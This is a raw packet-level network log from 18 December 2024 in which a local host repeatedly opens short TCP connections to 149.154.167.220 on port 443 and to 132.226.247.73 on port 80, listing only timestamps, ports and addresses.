Dec 18, 2024 16:17:34.511518002 CET	49835	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.512008905 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:34.512681007 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.512717009 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.512790918 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.513071060 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:34.513087988 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:34.631913900 CET	80	49775	132.226.247.73	192.168.2.5
Dec 18, 2024 16:17:34.632006884 CET	49775	80	192.168.2.5	132.226.247.73
Dec 18, 2024 16:17:35.766366959 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.776020050 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.776051044 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.776099920 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.776108027 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.845937967 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.855273008 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.855308056 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.855423927 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.855428934 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.882685900 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.887602091 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.887619972 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:35.887706995 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:35.887716055 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.342505932 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.342858076 CET	443	49846	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.342926025 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.343432903 CET	49846	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.344995975 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.345036983 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.345139980 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.345442057 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.345464945 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.438043118 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.438131094 CET	443	49848	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.440491915 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.440639973 CET	49848	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.442106009 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.442141056 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.442228079 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.442533970 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.442549944 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.520500898 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.520946980 CET	443	49847	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.521111012 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.523530960 CET	49847	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.527225971 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.527271986 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:36.529066086 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.529431105 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:36.529450893 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.710393906 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.712225914 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.712244987 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.712352037 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.712357998 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.803786993 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.805733919 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.805749893 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.805870056 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.805876017 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.915033102 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.917114019 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.917133093 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:37.917254925 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:37.917260885 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.390096903 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.390264034 CET	443	49854	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.390355110 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.391236067 CET	49854	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.429944992 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.430001974 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.430085897 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.430422068 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.430439949 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.444329977 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.444413900 CET	443	49856	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.444478989 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.444937944 CET	49856	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.446780920 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.446826935 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.446897030 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.447143078 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.447154999 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.481858015 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.482048988 CET	443	49857	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.482116938 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.482439041 CET	49857	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.484108925 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.484153986 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:49.484227896 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.484556913 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:49.484571934 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.793602943 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.795376062 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.795409918 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.795483112 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.795489073 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.816648006 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.819681883 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.819710970 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.819789886 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.819801092 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.848912954 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.851696014 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.851810932 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:50.851891041 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:50.851897001 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.381767988 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.381849051 CET	443	49889	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.381952047 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.382441998 CET	49889	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.384063005 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.384119987 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.384247065 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.384478092 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.384494066 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.459572077 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.459666014 CET	443	49888	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.459768057 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.460336924 CET	49888	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.461848974 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.461889029 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.461987972 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.462213993 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.462232113 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.484611034 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.484782934 CET	443	49890	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.484839916 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.485111952 CET	49890	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.486382961 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.486422062 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:51.486530066 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.486815929 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:51.486845970 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.745683908 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.747283936 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.747303009 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.747368097 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.747390032 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.828927040 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.830655098 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.830682039 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.830779076 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.830797911 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.848344088 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.852798939 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.852818012 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:52.852961063 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:52.852972984 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.305526972 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.305666924 CET	443	49896	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.305870056 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.306169033 CET	49896	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.307410002 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.307462931 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.307578087 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.307792902 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.307815075 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.484411955 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.484500885 CET	443	49897	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.484606028 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.485079050 CET	49897	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.486320019 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.486350060 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.486417055 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.486624002 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.486651897 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.506969929 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.509216070 CET	443	49898	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.509273052 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.509943008 CET	49898	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.514066935 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.514106989 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:53.514197111 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.514807940 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:53.514823914 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.753880978 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.788291931 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.788312912 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.792121887 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.792133093 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.940474987 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.948590040 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.963896036 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.963912010 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.964008093 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.964015961 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.964951038 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.964972019 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:54.965015888 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:54.965037107 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.370974064 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.371059895 CET	443	49903	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.371121883 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.371609926 CET	49903	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.373197079 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.373251915 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.373332977 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.373599052 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.373611927 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.483692884 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.483772039 CET	443	49904	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.483834982 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.484395981 CET	49904	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.485985994 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.486028910 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.486110926 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.486402988 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.486418009 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.524547100 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.524635077 CET	443	49905	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.524687052 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.525223970 CET	49905	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.526813030 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.526911974 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:55.527004957 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.527307034 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:55.527359009 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.819427013 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.823362112 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:56.823376894 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.823436975 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:56.823445082 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.998117924 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.999830961 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:56.999878883 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:56.999939919 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:56.999950886 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.010662079 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.012191057 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.012278080 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.012408972 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.012423992 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.380728006 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.380812883 CET	443	49911	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.380883932 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.381428003 CET	49911	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.382626057 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.382673025 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.382746935 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.382989883 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.383002996 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.573463917 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.573549986 CET	443	49913	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.573645115 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.574093103 CET	49913	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.575472116 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.575508118 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.575699091 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.576025963 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.576040030 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.635247946 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.635332108 CET	443	49912	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.635387897 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.635760069 CET	49912	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.636976004 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.637022972 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:57.637111902 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.637356997 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:57.637370110 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.746968031 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.748817921 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:58.748828888 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.748889923 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:58.748895884 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.945544004 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.947256088 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:58.947267056 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:58.947335958 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:58.947355032 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.045809984 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.047818899 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.047836065 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.047952890 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.047960043 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.375778913 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.375896931 CET	443	49919	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.375945091 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.376468897 CET	49919	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.379513979 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.379539013 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.379611969 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.379880905 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.379893064 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.580663919 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.581655025 CET	443	49920	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.581860065 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.582257986 CET	49920	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.583789110 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.583833933 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.583908081 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.584163904 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.584173918 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.639898062 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.640162945 CET	443	49921	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.640244007 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.640558004 CET	49921	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.641820908 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.641860008 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:17:59.641937017 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.642198086 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:17:59.642211914 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.742258072 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.744112968 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:00.744132996 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.744194031 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:00.744205952 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.946978092 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.948946953 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:00.948972940 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:00.949074984 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:00.949081898 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.008425951 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.010489941 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.010543108 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.010611057 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.010633945 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.318523884 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.318656921 CET	443	49926	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.318715096 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.319478035 CET	49926	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.327457905 CET	49934	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.327498913 CET	443	49934	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.327642918 CET	49934	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.328325987 CET	49934	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.328349113 CET	443	49934	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.571086884 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.571208000 CET	443	49928	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.571261883 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.571635008 CET	49928	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.573524952 CET	49936	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.573574066 CET	443	49936	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.573635101 CET	49936	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.573864937 CET	49936	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.573884010 CET	443	49936	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.603475094 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.603563070 CET	443	49929	149.154.167.220	192.168.2.5
Dec 18, 2024 16:18:01.603625059 CET	49929	443	192.168.2.5	149.154.167.220
Dec 18, 2024 16:18:01.606107950 CET	49929	443	192.168.2.5	149.154.167.220
